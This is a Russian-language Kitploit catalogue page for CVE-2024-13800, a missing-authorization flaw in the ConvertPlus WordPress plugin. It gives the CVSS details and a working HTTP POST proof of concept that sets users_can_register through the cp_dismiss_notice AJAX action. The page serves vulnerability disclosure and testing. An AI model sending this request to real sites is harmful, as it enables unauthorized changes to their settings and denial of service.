Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-13800 — Плагин всплывающих окон для WordPress - ConvertPlus <= 3.5.30 - Отсутствие авторизации для аутентифицированных (Subscriber+) Обновление ограниченных опций | Kitploit
Инструменты/GitHubGitHub/randomrobbiebf/cve-2024-13800
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеНеправильная Конфигурация
GitHubrandomrobbiebf/cve-2024-13800

CVE-2024-13800

Плагин всплывающих окон для WordPress - ConvertPlus <= 3.5.30 - Отсутствие авторизации для аутентифицированных (Subscriber+) Обновление ограниченных опций

Репозиторий
11 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-13800

Popup Plugin For WordPress — ConvertPlus <= 3.5.30 — Отсутствие авторизации для аутентифицированных (Подписчик+) ограниченная возможность обновления опций

Описание

Плагин ConvertPlus для WordPress уязвим к несанкционированной модификации данных, что может привести к отказу в обслуживании из-за отсутствия проверки возможностей на AJAX-конечной точке cp_dismiss_notice во всех версиях до 3.5.30 включительно. Это позволяет аутентифицированным злоумышленникам с уровнем доступа Подписчик и выше устанавливать значения опций на '1' на сайте WordPress. Это можно использовать для обновления опции, которая вызовет ошибку на сайте и приведет к отказу в обслуживании легитимных пользователей, или для установки некоторых значений в true, например, регистрации.

Детали

  • Тип: плагин
  • Slug: convertplug
  • Затрагиваемая версия: 3.5.30
  • Оценка CVSS: 8.1
  • Рейтинг CVSS: Высокий
  • Вектор CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
  • CVE: CVE-2024-13800
  • Статус: Приватный

Примечания

Он помещает только 1 в базу данных, так что можно установить только 1 в users_can_register.

POC

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal:5555
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 50
Origin: http://kubernetes.docker.internal:5555
Connection: keep-alive
Referer: http://kubernetes.docker.internal:5555/wp-admin/options-general.php
Cookie: wordpress_c4ed56a3aa31dfaae2a50e9003068198=superadmin%7C1746784004%7CMdf7LiwOfluHufzihPiyUftZsNV1BU1vziFSwkdD7gT%7C8cb19a315a9569e77d5be2bf7555f178a9edba2afbc32d1499b8cfd5552e28b9; wp-settings-1=product_cat_tab%3Dpop%26libraryContent%3Dbrowse; wp-settings-time-1=1742893819; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_c4ed56a3aa31dfaae2a50e9003068198=superadmin%7C1746784004%7CMdf7LiwOfluHufzihPiyUftZsNV1BU1vziFSwkdD7gT%7Cf4d35f828e20c240ecf95e5940bddf55741adc8048977e60afd45a178c003011

action=cp_dismiss_notice&notice=users_can_register
Скачать инструмент